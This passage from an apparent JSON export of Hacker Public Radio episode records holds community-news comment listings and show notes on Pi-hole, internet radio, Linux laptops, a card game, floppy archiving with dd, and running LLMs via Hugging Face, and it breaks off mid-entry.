                                                            • hpr3840\n(2023-04-21) \"Playing the Original Civilization\"\nby Ahuka.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nTuula on 2023-08-08:\n\"this brings back memories\"

                                                              \n
                                                            • hpr3855\n(2023-05-12) \"SSH (or OpenSSH) Escape Sequences\"\nby Claudio Miranda.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nWindigo on 2023-08-16:\n\"Secrets\"

                                                              \n
                                                            • hpr3856\n(2023-05-15) \"Painting toy soldiers\"\nby Klaatu.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nTuula on 2023-08-08:\n\"great show\"

                                                              \n
                                                            • hpr3896\n(2023-07-10) \"The Brochs of Glenelg\"\nby Andrew Conway.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nWindigo on 2023-08-23:\n\"Intriguing show topic\"

                                                              \n
                                                            • hpr3904\n(2023-07-20) \"How to make friends\"\nby Klaatu.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nBeeza on 2023-08-02:\n\"Frienships\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 16 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr3916\n(2023-08-07) \"HPR Community News for July 2023\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2023-08-07:\n\"grandfather clock\"

                                                              \n
                                                            • hpr3917\n(2023-08-08) \"Response to \"Permission Tickets\" by oneofspoons\"\nby dnt.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\none_of_spoons on 2023-08-21:\n\"breaking the spell\"
                                                              • Comment 2:\ndnt on 2023-08-23:\n\"re: breaking the spell\"

                                                              \n
                                                            • hpr3919\n(2023-08-10) \"How I hacked my voice\"\nby Tuula.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\none_of_spoons on 2023-08-10:\n\"Morphic resonance.\"
                                                              • Comment 2:\nTuula on 2023-08-12:\n\"lilting\"
                                                              • Comment 3:\ndnt on 2023-08-23:\n\"hacking your voice\"
                                                              • Comment 4:\nTuula on 2023-08-28:\n\"you're welcome\"

                                                              \n
                                                            • hpr3921\n(2023-08-14) \"HPR AudioBook Club 23 - John Carter of Mars (Books 1-3)\"\nby HPR_AudioBookClub.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2023-08-16:\n\"Hearing 5150\"

                                                              \n
                                                            • hpr3922\n(2023-08-15) \"Silent Key\"\nby Trey.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2023-08-15:\n\"my condolences\"
                                                              • Comment 2:\nthelovebug on 2023-08-16:\n\"My condolences\"

                                                              \n
                                                            • hpr3926\n(2023-08-21) \"Karate Do: An Overview\"\nby Hipernike.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2023-08-23:\n\"Thank you for sharing.\"
                                                              • Comment 2:\nHipernike on 2023-08-28:\n\"You're Welcome!\"

                                                              \n
                                                            • hpr3928\n(2023-08-23) \"RE: Klaatu.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2023-08-23:\n\"Good Heavens!!\"
                                                              • Comment 2:\ndnt on 2023-08-25:\n\"Good heavens!!!!!!\"

                                                              \n
                                                            • hpr3933\n(2023-08-30) \"Planning for a planner.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2023-08-30:\n\"Thank you for sharing.\"
                                                              • Comment 2:\nKinghezy on 2023-08-31:\n\"Interesting topic\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2023-August/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Site Migration

                                                            \n
                                                              \n
                                                            • The process of moving the HPR site to its new location and\nimplementing all of the features has been going on during August:

                                                              \n
                                                                \n
                                                              • Working on updating links on documentation pages
                                                              • \n
                                                              • Moving RSS feeds from the dynamic part of the site to the static\nside
                                                              • \n
                                                              • Making the comment forms work the same as before
                                                              • \n
                                                              • Making tags clickable
                                                              • \n
                                                              • Fixing Unicode problems
                                                              • \n
                                                              • Fixing various small bugs like the calculation of when to show the\n\"Call for shows\" message\"\"
                                                              • \n
                                                            • \n
                                                            • There are a number of problems yet to be tackled:

                                                              \n
                                                                \n
                                                              • Making links to pictures and other supplementary files work
                                                              • \n
                                                              • Making links in comments clickable
                                                              • \n
                                                            • \n
                                                            • We have had a number of very helpful problem reports, mainly\nthrough the #HPR channel on Matrix.

                                                            • \n
                                                            • It's also possible to raise issues on the Gitea site at https://repo.anhonesthost.net/rho_n/hpr_generator/issues,\nthough it's necessary to have a username on the site before this can be\ndone.

                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3937,"date":"2023-09-05","title":"Adventures in Pi-Hole","duration":497,"summary":"Noodlez recounts their experience getting a pi-hole server","notes":"

                                                            Adventures in Pi-Hole

                                                            \n

                                                            Hi all! Today I'm gonna be talking about my adventures in setting up\nPi-hole. This will be without screenshots, but instead in all text,\nsorry! Also this is all written as kind of an \"Aftermath\" story. This is\nbeing written after the fact, so this might be missing some details, but\nmost of it is there.

                                                            \n

                                                            Intro: What is Pi-hole

                                                            \n

                                                            Pi-hole is a DNS/DHCP server that\nallows for easy network-wide ad-blocking, along with all the nice\ncustomizations that come with being a DNS server, such as custom\ndomains.

                                                            \n

                                                            First Step: Get it running

                                                            \n

                                                            The first step was getting Pi-hole running. I did this using Docker\nCompose on a \"NAS\" which is honestly a full on server at this point. A\nquick copy/paste from Pi-hole's\nREADME and I was up and running! I set a singular system to use this\nas a DNS server, and after that, I figured I was set and ready to\ngo.

                                                            \n

                                                            Second Step: DHCP town

                                                            \n

                                                            Of course, I wasn't satisfied just finishing there. I want automatic\nDNS setting for any device that connects to my network. Of course, I\ncould just set the DNS upstream in my OpenWRT router to use the IP address of\nmy server, but that isn't good enough for me. This means I'd be missing\nout on automatic per-client information, since when setting a DNS server\nfor OpenWRT, it only sets itself to forward any DNS requests up to the\nDNS server, which means from Pi-hole's perspective, all the requests are\ncoming from the router and nowhere else. The solution is to set up\nPi-Hole as a DHCP server. Keep in mind this isn't a tutorial, so let's\ngo through what I did first. The first step was to turn on the DHCP\nserver in Pi-Hole. This was super easy, just a checkbox and click save.\nCool! Then I disabled the DHCP server in OpenWRT, and that was all set.\nA few restarting of network devices later, like my phone, and they\nautomatically connected to the Pi-Hole server, and worked like a charm.\nNext up, I set up Tailscale. I use Headscale, but the setup is\nessentially the same as if you were using Tailscale's UI. Set in the\nconfig to override local DNS, set the nameserver to the Tailscale IP\naddress of the server, and turn on magic DNS, et voila! Now to restart\nthe Tailscale nodes, and make sure that on the server, you set it to not\naccept the DNS from Tailscale. If you don't do that, it'll get in an\nendless loop of trying to use itself as the DNS server, and it's just no\ngood. Okay! It's all set, and I check the dashboard, and it's already\nblocking DNS requests. Perfect!

                                                            \n

                                                            Third Step: Whoopsies!

                                                            \n

                                                            This was fine and great, but when I went to reboot my server, which I\ndo weekly, something bad happened. The interface for the server didn't\ncome up. This is a problem, since it's the DHCP server for my network,\nso without that working, the network was dead in the water. It can't\ngive out IP addresses. What's going on? I go ahead and access my server\ndirectly. No matter how hard I try, it can't connect to the interface.\nWhat's the big deal? Well this is pretty simple, and a question popped\nin my head that go me there. \"How does this server even get its IP\naddress?\" You see when I set up pi-hole, it just kept using the IP\naddress that the router gave it, which it was more than happy to use,\nbut the moment the router didn't have a DHCP server, the NAS didn't have\na way to get an IP address anymore. So what do you do then? The answer\nis pretty simple. Give the server a static IP. Make sure in the DHCP\nserver of pi-hole, you set a reservation in it for the server, then in\nNetworkManager, which I use, set it to have a static IP, and set its DNS\nto point to localhost. Perfect! This works like a charm!

                                                            \n

                                                            Fourth Step: Adlists

                                                            \n

                                                            Okay, phew! Crisis averted. Just some missing networking knowledge.\nSo what's next up on the list? Hmmm... Let's see... The default adlist\nis kinda small, let's go see if we can find some new adlists. Apparently\nthis is more difficult than you'd think. A quick search on DDG only came\nup with an equivalent search in GitHub. Not useful! I have no idea the\ntrustworthiness and stability of these adlists. Let's see. Another\nsearch leads to a Reddit article that then links to a different list.\nBingo! An Adlist list. Exactly what I\nneeded. I went ahead and looked into these lists, and added a few of\nthem. Perfect!

                                                            \n

                                                            Fifth Step: Maintenance

                                                            \n

                                                            docker compose pull && docker compose up -d
                                                            \nOf course, this isn't it. I actually use an a/b update scheme, but you\nget the gist. Updates are taken care of, and just make sure you try and\nkeep the server up as long as possible, and keep downtime to a\nminimum.

                                                            \n

                                                            Sixth Step: Moving off the\nNAS.

                                                            \n

                                                            After a while of running this, the necessity of having the NAS on the\nwhole time was starting to get frustrating. The answer there was to move\nit off the NAS. I did this by installing it on a Raspberry Pi 3B,\nrunning Arch Linux ARM. The setup was identical to before once I had\ngotten ALARM running.

                                                            \n","hostid":423,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"pi-hole,linux,networking,self-hosting","version":0,"downloads":0,"valid":1}, {"id":3938,"date":"2023-09-06","title":"An open directory of web audio stream","duration":1116,"summary":"I was looking for an open directory of web audio streams and found radio hyphen browser dot info.","notes":"

                                                            References

                                                            \n

                                                            https://www.radio-browser.info\nthe site has good searching features, and even has a player. It has a\nmap view that's cute but not too useful because it doesn't zoom in\nenough. Still fun to fly around the world and tune in simply by clicking\nthe balloons, you should try it.

                                                            \n

                                                            Mobile apps that use this directory are found on https://www.radio-browser.info/users.\nThe ones I've used are TuneFM (with ads, pay what you want (I think) to\nremove ads, but very good Android Auto), and Transistor (no Android\nAuto, otherwise perfect). Open Radio is pretty good but the Android Auto\nis buggy. I have not tried any others.

                                                            \n

                                                            The episode in which Ken Fallon interviewed one of the maintainers of\nFunkwhale was hpr3808.

                                                            \n

                                                            Some stations I've been listening to:

                                                            \n
                                                              \n
                                                            • Radio\nMEC: Brazilian state-controlled. Located in Rio de Janeiro. Plays\nmore uppity stuff.
                                                            • \n
                                                            • Radio\nNacional Rio de Janeiro: Brazilian state-controlled, located in Rio\nde Janeiro. Plays more popular music, football broadcasts. A good show\ncomes on every saturday at 11:00 BRT.
                                                            • \n
                                                            • Radio\nLiga Samba: Samba.
                                                            • \n
                                                            • Kansas\nCity Online Radio: an online-only Blues station. Seems to mostly\nsyndicate podcasts.
                                                            • \n
                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"internet radio\", \"free culture\"","version":0,"downloads":0,"valid":1}, {"id":3939,"date":"2023-09-07","title":"How I got into tech and hacking","duration":1238,"summary":"Getting interested in tech can start in both odd and familiar places. This is Trixter's story.","notes":"

                                                            In the show, I mention that leaving Mark Williams Company was \"a\nstory for another time\", but the short answer is that Linux crushed\nthem. Coherent Unix had to make a choice to compete with either Windows,\nSCO Unix, or Linux, and had enough budget to add either X Windows or\nTCP/IP networking. They chose X11, and IMO that killed any chance of\nCoherent Unix being useful in a world of Linux and FreeBSD.

                                                            \n","hostid":149,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"demoscene, hacking, programming, assembly, gaming","version":0,"downloads":0,"valid":1}, {"id":3940,"date":"2023-09-08","title":"Equipment Maintenance","duration":792,"summary":"We prepare the RV and the truck for our trip. ","notes":"

                                                            When you go on an RV trip you are basically towing your home around,\nand that means you need to have your equipment in shape. RVs are said to\nundergo an earthquake every time you tow them, and so there are things\nthat need to be addressed. And the tow vehicle needs to be in good shape\nas well. So in this episode we discuss how we did the necessary\nequipment maintenance.

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/equipment-maintenance/
                                                            • \n
                                                            \n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"RV, travel, southeast US, maintenance","version":0,"downloads":0,"valid":1}, {"id":3941,"date":"2023-09-11","title":"Interview with Yosef Kerzner","duration":3563,"summary":"Interview with Yosef Kerzner","notes":"

                                                            Interview with Yosef Kerzner

                                                            \n

                                                            https://www.linkedin.com/in/yosef-kerzner-7231ab6

                                                            \n

                                                            https://yosefsblog.blogspot.com/

                                                            \n
                                                              \n
                                                            • https://m.youtube.com/watch?v=AaTRHFaaPG8 this is a\nreally good interview if you want to be terrified by AI ( about 1/2 way\nin the video )

                                                            • \n
                                                            • https://www.google.com/search?q=%22PROBIOTIC+GEM+CULTURED%22+filetype%3Apdf

                                                            • \n
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Interviews,hacking,ai","version":0,"downloads":0,"valid":1}, {"id":3942,"date":"2023-09-12","title":"RE: How to make friends.","duration":763,"summary":"Sgoti replies to Klaatu's show, \"How to make friends.\"","notes":"

                                                            RE: How to make friends.

                                                            \n
                                                              \n
                                                            • Source: hpr3904 ::\nHow to make friends
                                                              \n

                                                            • \n
                                                            • Source: Friendship
                                                              \n

                                                            • \n
                                                            • Source: Interpersonal\nrelationship
                                                              \n

                                                            • \n
                                                            • Source: Affection
                                                              \n

                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Friends, reply show","version":0,"downloads":0,"valid":1}, {"id":3943,"date":"2023-09-13","title":"Why my Dell does it better on Linux.","duration":745,"summary":"Knightwise talks about how he uses his Dell XPS 15 with Linux.","notes":"

                                                            The Config of my Dell XPS 15

                                                            \n
                                                                      .-:/++oooo++/:-.               knightwise@Hawking\n        `:/oooooooooooooooooo/-`           ------------------\n      -/oooooooooooooooooooo+ooo/-         OS: Ubuntu Cinnamon 22.04.3 LTS x86_\n    .+oooooooooooooooooo+/-`.ooooo+.       Host: XPS 15 7590\n   :oooooooooooo+//:://++:. .ooooooo:      Kernel: 6.2.0-26-generic\n  /oooooooooo+o:`.----.``./+/oooooooo/     Uptime: 4 mins\n /ooooooooo+. +ooooooooo+:``/ooooooooo/    Packages: 2457 (dpkg), 19 (snap)\n.ooooooooo: .+ooooooooooooo- -ooooooooo.   Shell: bash 5.1.16\n/oooooo/o+ .ooooooo:`+oo+ooo- :oooooooo/   Resolution: 1920x1080\nooo+:. .o: :ooooo:` .+/. ./o+:/ooooooooo   DE: Cinnamon 5.2.7\noooo/-`.o: :ooo/` `/+.     ./.:ooooooooo   WM: Mutter (Muffin)\n/oooooo+o+``++. `:+-          /oooooooo/   WM Theme: Yaru-Cinnamon-Dark (Yaru-C\n.ooooooooo/``  -+:`          :ooooooooo.   Theme: Yaru-Cinnamon-Dark [GTK2/3]\n /ooooooooo+--+/`          .+ooooooooo/    Icons: Yaru-Cinnamon [GTK2/3]\n  /ooooooooooo+.`      `.:++:oooooooo/     Terminal: gnome-terminal\n   :oooooooooooooo++++oo+-` .ooooooo:      CPU: Intel i7-9750H (12) @ 4.500GHz\n    .+ooooooooooooooooooo+:..ooooo+.       GPU: Intel CoffeeLake-H GT2 [UHD Gra\n      -/oooooooooooooooooooooooo/-         GPU: NVIDIA GeForce GTX 1650 Mobile\n        `-/oooooooooooooooooo/:`           Memory: 2736MiB / 31723MiB\n
                                                            \n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, ","version":0,"downloads":0,"valid":1}, {"id":3944,"date":"2023-09-14","title":"Race for the Galaxy","duration":947,"summary":"Tuula explains very basics of card game called Race for the Galaxy","notes":"

                                                            Race for the galaxy

                                                            \n

                                                            Race for the galaxy is a four player card game published by Rio\nGrande Games.

                                                            \n

                                                            The goal of the game is to build a space imperium and the player with\nmost victory points wins.

                                                            \n

                                                            There's also a computer version of the game, which saves you from\npacking up the game after playing.

                                                            \n

                                                            Turn sequence

                                                            \n

                                                            There are five phases in turn:

                                                            \n
                                                              \n
                                                            • Explore
                                                            • \n
                                                            • Develop
                                                            • \n
                                                            • Settle
                                                            • \n
                                                            • Consume
                                                            • \n
                                                            • Produce
                                                            • \n
                                                            \n

                                                            At the beginning of turn, every player selects one of these phases\nand selections are revealed simultaneously. Only selected phases will be\nplayed. Player who selected a phase gets a small bonus.

                                                            \n

                                                            Explore

                                                            \n
                                                              \n
                                                            • draw two cards and keep one
                                                            • \n
                                                            • bonus: draw five cards and keep one
                                                            • \n
                                                            • bonus: draw one additional card and keep one additional card
                                                            • \n
                                                            \n

                                                            Develop

                                                            \n
                                                              \n
                                                            • place development card in play and discard cards from your hand to\ncover the cost
                                                            • \n
                                                            • bonus: -1 to cost
                                                            • \n
                                                            \n

                                                            Settle

                                                            \n
                                                              \n
                                                            • place a planet card in play and discard cards from your hand to\ncover the cost
                                                            • \n
                                                            • except military planets, which you'll conquer with your military\nscore
                                                            • \n
                                                            • if it's a windfall world, produce on it
                                                            • \n
                                                            \n

                                                            Consume:

                                                            \n
                                                              \n
                                                            • use consume powers on cards to turn good into victory points
                                                            • \n
                                                            • you have to keep consuming until you can't anymore
                                                            • \n
                                                            • bonus: trade one goods card for 2-5 cards
                                                            • \n
                                                            • bonus: 2xVPs gain twice the victory points
                                                            • \n
                                                            \n

                                                            Produce:

                                                            \n
                                                              \n
                                                            • produce on regular planets
                                                            • \n
                                                            • bonus: produce on windfall planet
                                                            • \n
                                                            \n

                                                            repeat until:

                                                            \n
                                                              \n
                                                            • one empire is 12 cards big
                                                            • \n
                                                            • VP tokes run out
                                                            • \n
                                                            \n

                                                            score:

                                                            \n
                                                              \n
                                                            • points for cards on the table
                                                            • \n
                                                            • cards in the hand (+1 for each)
                                                            • \n
                                                            • VPs earned
                                                            • \n
                                                            \n

                                                            special rules

                                                            \n
                                                              \n
                                                            • cards on the table
                                                            • \n
                                                            • draw extra cards
                                                            • \n
                                                            • trade goods on planets
                                                            • \n
                                                            • add up your military score
                                                            • \n
                                                            • settle planets for cheaper
                                                            • \n
                                                            • have bigger empire limit
                                                            • \n
                                                            • produce on a windfall planet after discarding a card
                                                            • \n
                                                            • etc.
                                                            • \n
                                                            \n

                                                            Examples of cards

                                                            \n

                                                            Star nomad raiders

                                                            \n
                                                              \n
                                                            • military 2 planet, worth 1 vp
                                                            • \n
                                                            • +1 to military
                                                            • \n
                                                            • +2 cards when trading goods
                                                            • \n
                                                            \n

                                                            Terraforming robots

                                                            \n
                                                              \n
                                                            • development 3, worth 2 vp
                                                            • \n
                                                            • draw 1 card after placing a world
                                                            • \n
                                                            • discard 1 rare elements good to gain 1 card and 1 vp
                                                            • \n
                                                            \n

                                                            Public works

                                                            \n
                                                              \n
                                                            • development 1, worth 1 vp
                                                            • \n
                                                            • draw 1 card after placing a development
                                                            • \n
                                                            • discard 1 good to gain 1 vp
                                                            • \n
                                                            \n

                                                            Expansions

                                                            \n

                                                            All expansions add new cards.

                                                            \n

                                                            The gathering storm

                                                            \n
                                                            \n
                                                              \n
                                                            • goals (first and most)
                                                            • \n
                                                            • extra player
                                                            • \n
                                                            \n
                                                            \n

                                                            Rebel vs. Imperium

                                                            \n
                                                            \n
                                                              \n
                                                            • solo play
                                                            • \n
                                                            • take over (conquer other player's worlds)
                                                            • \n
                                                            • extra player
                                                            • \n
                                                            \n
                                                            \n

                                                            Brink of War

                                                            \n
                                                            \n
                                                            \n
                                                            - prestige
                                                            \n
                                                            \n
                                                              \n
                                                            • counts as VP in the end
                                                            • \n
                                                            • can be used to perform actions
                                                            • \n
                                                            \n
                                                            \n
                                                            \n
                                                              \n
                                                            • requires two previous expansions
                                                            • \n
                                                            \n
                                                            \n

                                                            Alien Artifacts

                                                            \n
                                                            \n
                                                              \n
                                                            • incompatible with previous expansions
                                                            • \n
                                                            • 49 cards representing alien orb players can explore
                                                            • \n
                                                            • balance between expanding and exploring
                                                            • \n
                                                            \n
                                                            \n

                                                            Verdict

                                                            \n
                                                              \n
                                                            • fun and quick game
                                                            • \n
                                                            • every player concentrates on their own imperium
                                                            • \n
                                                            • keep an eye what opponent is doing (trading / military)
                                                            • \n
                                                            • cards are dense with information
                                                            • \n
                                                            \n

                                                            Example

                                                            \n
                                                              \n
                                                            • I recorded myself playing against computer: [Race for the galaxy -\nthree medium AIs](https://diode.zone/w/rw8z8pqeqAauENSufmgkjV).
                                                            • \n
                                                            • for some reason, you can't follow me outside of the instance
                                                            • \n
                                                            \n

                                                            In closing

                                                            \n
                                                            \n
                                                            - questions, comments, feedback?
                                                            \n
                                                            \n\n
                                                            \n
                                                            \n","hostid":364,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"race for the galaxy, card game","version":0,"downloads":0,"valid":1}, {"id":3945,"date":"2023-09-15","title":"My chrome plugins","duration":271,"summary":"Daniel Persson summarize the essential plugins he uses every day","notes":"

                                                            We all use plugins in order to facilitate our work this is my\nfavorite picks.

                                                            \n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"chrome, plugins","version":0,"downloads":0,"valid":1}, {"id":3946,"date":"2023-09-18","title":"Planning for a planner, part 02.","duration":2168,"summary":"Sgoti and Bumble Bee discuss discbound planners, agendas, ink pens and more.","notes":"

                                                            Discbound Planners and\nNotebooks.

                                                            \n
                                                              \n
                                                            • Source: Staples.com\ndiscbound notebook search
                                                              \n

                                                            • \n
                                                            • Supporting Source: Staples\narc customizable notebook, 6.3/4in x 8.3/4in, 60 sheets, narrow ruled,\nblack
                                                              \n

                                                            • \n
                                                            • Source: Happy Planner.
                                                              \n

                                                            • \n
                                                            • Source: JoAnn
                                                              \n

                                                            • \n
                                                            • Source: Transparent\nnotes, 36 sheets/pad, 1 pad/pack $5.19.
                                                              \n

                                                            • \n
                                                            • Source: 6\npack discbound pocket letter size envelope organizer
                                                              \n

                                                            • \n
                                                            • Source: Zgmj\nclassic size discbound lined refill paper, happy planner inserts,\n100sheets/200pages loose-leaf paper, 100gsm white paper, 7x9.25\nin
                                                              \n

                                                            • \n
                                                            • Source: Classic\nsize discbound daily planner refill paper, happy planners insert,\n200sheets/400pages to do list planner refill, 100gsm white paper, 7x9.25\nin
                                                              \n

                                                            • \n
                                                            • Source: Discbound\nundated daily plan paper refill, 120 gsm, 80 sheets, happy planner 9\ndisc pre-punched inserts, 7x9.25 inch, daily to-do, notes, and\nscheduling
                                                              \n

                                                            • \n
                                                            • Source: Leather\npersonalized discbound planner cover
                                                              \n

                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Discbound, Notebooks, Planners, Happy Planner, Ink Pens.","version":0,"downloads":0,"valid":1}, {"id":3947,"date":"2023-09-19","title":"Archiving Floppy Disks","duration":1009,"summary":"This show describes how I go about archiving old floppy disks.","notes":"

                                                            Archiving Floppy Disks

                                                            \n\n

                                                            Summary

                                                            \n\n

                                                            This show describes how I go about archiving old floppy\ndisks. These disks date back to the early 90s when floppy disks were a\ncommon way of installing software on personal computers. They were\nalso used as a portable storage mechanism for data files.

                                                            \n\n

                                                            Equipment That I'm Using

                                                            \n\n
                                                              \n
                                                            • IBM ThinkCentre desktop computer with a 3.5in floppy disk drive
                                                            • \n
                                                            • Installed the 32-bit version of Slackware 14.2
                                                            • \n
                                                            \n\n

                                                            Making an image of an entire floppy disk

                                                            \ndd if=/dev/fd0 of=filename.dsk\n\n

                                                            Making a floppy disk from a disk image

                                                            \ndd if=filename.dsk of=/dev/fd0\n\n

                                                            Copy files from a floppy disk

                                                            \n\nmount -t msdos /dev/fd0 /mnt/floppy
                                                            \ncd /mnt/floppy
                                                            \ncp filename /some/destination/path/filename
                                                            \ncd
                                                            \numount /mnt/floppy\n
                                                            \n\n","hostid":334,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"floppy, disk, archive, linux, commands","version":0,"downloads":0,"valid":1}, {"id":3948,"date":"2023-09-20","title":"Cleaning up my mancave and talking about Creativity","duration":1591,"summary":"Knightwise sets up his podcast rig in a messy attic and talks about the stuff lying around","notes":"

                                                            Just a Random babble as I setup my podcasting rig in the office,\nclearing out some old stuff and telling you about what I encounter.

                                                            \n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, podcasting, retro","version":0,"downloads":0,"valid":1}, {"id":3949,"date":"2023-09-21","title":"How I use virtualisation to tame my Social Media addiction.","duration":937,"summary":"Knightwise talks about the command line applications he uses to fight his Social Media addiction.","notes":"

                                                            Apps I talk about

                                                            \n\n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, tailscale, vpn, social media, reddit, irc, discord,","version":0,"downloads":0,"valid":1}, {"id":3950,"date":"2023-09-22","title":"Sid Meiers' Alpha Centauri","duration":969,"summary":"One of the best overlooked games","notes":"

                                                            Because it doesn't have the word \"Civilization\" in its name, this\ngame is unfairly overlooked. It was a major achievement when released,\nand it is still a very rewarding game for anyone to pick up and play.\nThere is a lot of depth to it, and it holds up well even after a couple\nof decades.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Alpha Centauri","version":0,"downloads":0,"valid":1}, {"id":3951,"date":"2023-09-25","title":"Cell Phone Screen Protectors","duration":1720,"summary":"I talk about how I fail at Cell Phone Screen Protectors","notes":"

                                                            I talk about how I fail at Cell Phone Screen Protectors

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"tech,phone repair,cell phones,Screen Protectors","version":0,"downloads":0,"valid":1}, {"id":3952,"date":"2023-09-26","title":"Making the Case for Markdown","duration":404,"summary":"Keith discusses the background and applications for Markdown.","notes":"

                                                            Links to things mentioned in this episode:

                                                            \n\n","hostid":266,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"markdown,plain text,writing,text editors,file formats","version":0,"downloads":0,"valid":1}, {"id":3953,"date":"2023-09-27","title":"Large language models and AI don't have any common sense","duration":1090,"summary":"Learn how to load and run GPT-2 or Llama2 to test it with common sense questions.","notes":"

                                                            Hobson and Greg are working with volunteers to develop an open source\nAI that we call Qary (QA for question answering). We're adding plugins\nto support open source large language models (LLMs) like GPT-2 and\nLlama2. Here's how you can use LLMs in your own Python Programs.

                                                            \n
                                                              \n
                                                            1. Create a Hugging Face account:
                                                            2. \n
                                                            \n\n
                                                              \n
                                                            1. Create and copy your access token:
                                                            2. \n
                                                            \n\n
                                                              \n
                                                            1. Create a .env file with your access token string:
                                                            2. \n
                                                            \n
                                                            echo "HUGGINGFACE_ACCESS_TOKEN=hf_..." >> .env
                                                            \n
                                                              \n
                                                            1. Load the .env variables in your python script using\ndotenv package and os.environ:
                                                            2. \n
                                                            \n
                                                              \n
                                                            • TIP: Use os.environ to retrieve the dict of variable\nvalues rather than dotenv.load_values- Otherwise other\nenvironment variables that have been set by other shell scripts such as\n.bashrc will be ignored.
                                                            • \n
                                                            • This confused us when we were getting our GitLab CI-CD pipeline\nworking and deploying to Render.com.
                                                            • \n
                                                            • Each of your cloud services will have different approaches to\nsetting environment variables.
                                                            • \n
                                                            • This token string can be passed as a keyword argument to most of the\npipeline and model classes.
                                                            • \n
                                                            \n
                                                            import dotenv\ndotenv.load_dotenv()\nimport os\nenv = dict(os.environ)\ntoken = env['HUGGINGFACE_ACCESS_TOKEN']
                                                            \n
                                                              \n
                                                            1. Find the path and name for the model on Hugging Face hub you want to\nuse:
                                                            2. \n
                                                            \n
                                                              \n
                                                            • search for \"llama2\" in the top search bar on huggingface.co/
                                                            • \n
                                                            • TIP: don't hit enter at the end of your search, instead click on\n\"See 3958 model results for llama2\"
                                                            • \n
                                                            • I clicked on meta-llama/Llama-2-7b-chat-hf\nto see the documentation
                                                            • \n
                                                            \n
                                                              \n
                                                            1. On the documentation page for your model you may have to apply for a\nlicense if it's not really open source but business source like Meta\ndoes with its AI so you can't use their models to compete with them
                                                            2. \n
                                                            \n
                                                              \n
                                                            • Apply for a license to use Llama2 on ai.meta.com\nusing the same e-mail you used for your Hugging Face account.
                                                            • \n
                                                            \n
                                                              \n
                                                            1. Follow the instructions on\nhuggingface.co to authenticate your python session
                                                            2. \n
                                                            \n
                                                              \n
                                                            • TIP: You'll need to use the kwarg use_auth_token in the\nAutoModel.from_pretrained or pipeline\nfunctions.
                                                            • \n
                                                            • And it should be set to the token from your Hugging Face profile\npage. The hugging face documentation says to use the token\nkwarg, but that never worked for me.
                                                            • \n
                                                            \n
                                                            from transformers import pipeline, set_seed\ngenerator = pipeline('text-generation', model='openai-gpt')\nq = "2+2="\nresponses = generator(\n    q,\n    max_length=10,\n    num_return_sequences=10\n    )\nresponses
                                                            \n
                                                            [{'generated_text': '2+2= 2.2, 1.1 and'},\n {'generated_text': '2+2= 3336 miles. they'},\n {'generated_text': '2+2= 2, = 2 = 2'},\n {'generated_text': '2+2= 4 = 2 = 5 \\n'},\n {'generated_text': '2+2= 0 ( 1 ) = ='},\n {'generated_text': '2+2= 6 times the speed of sound'},\n {'generated_text': '2+2= 2 times 5, 865'},\n {'generated_text': '2+2= 3 / 7 / 11 ='},\n {'generated_text': '2+2= 2 2 \\n 2 of 2'},\n {'generated_text': '2+2= 1, 9 = 1,'}]
                                                            \n

                                                            Here's the cow leg counting question:

                                                            \n
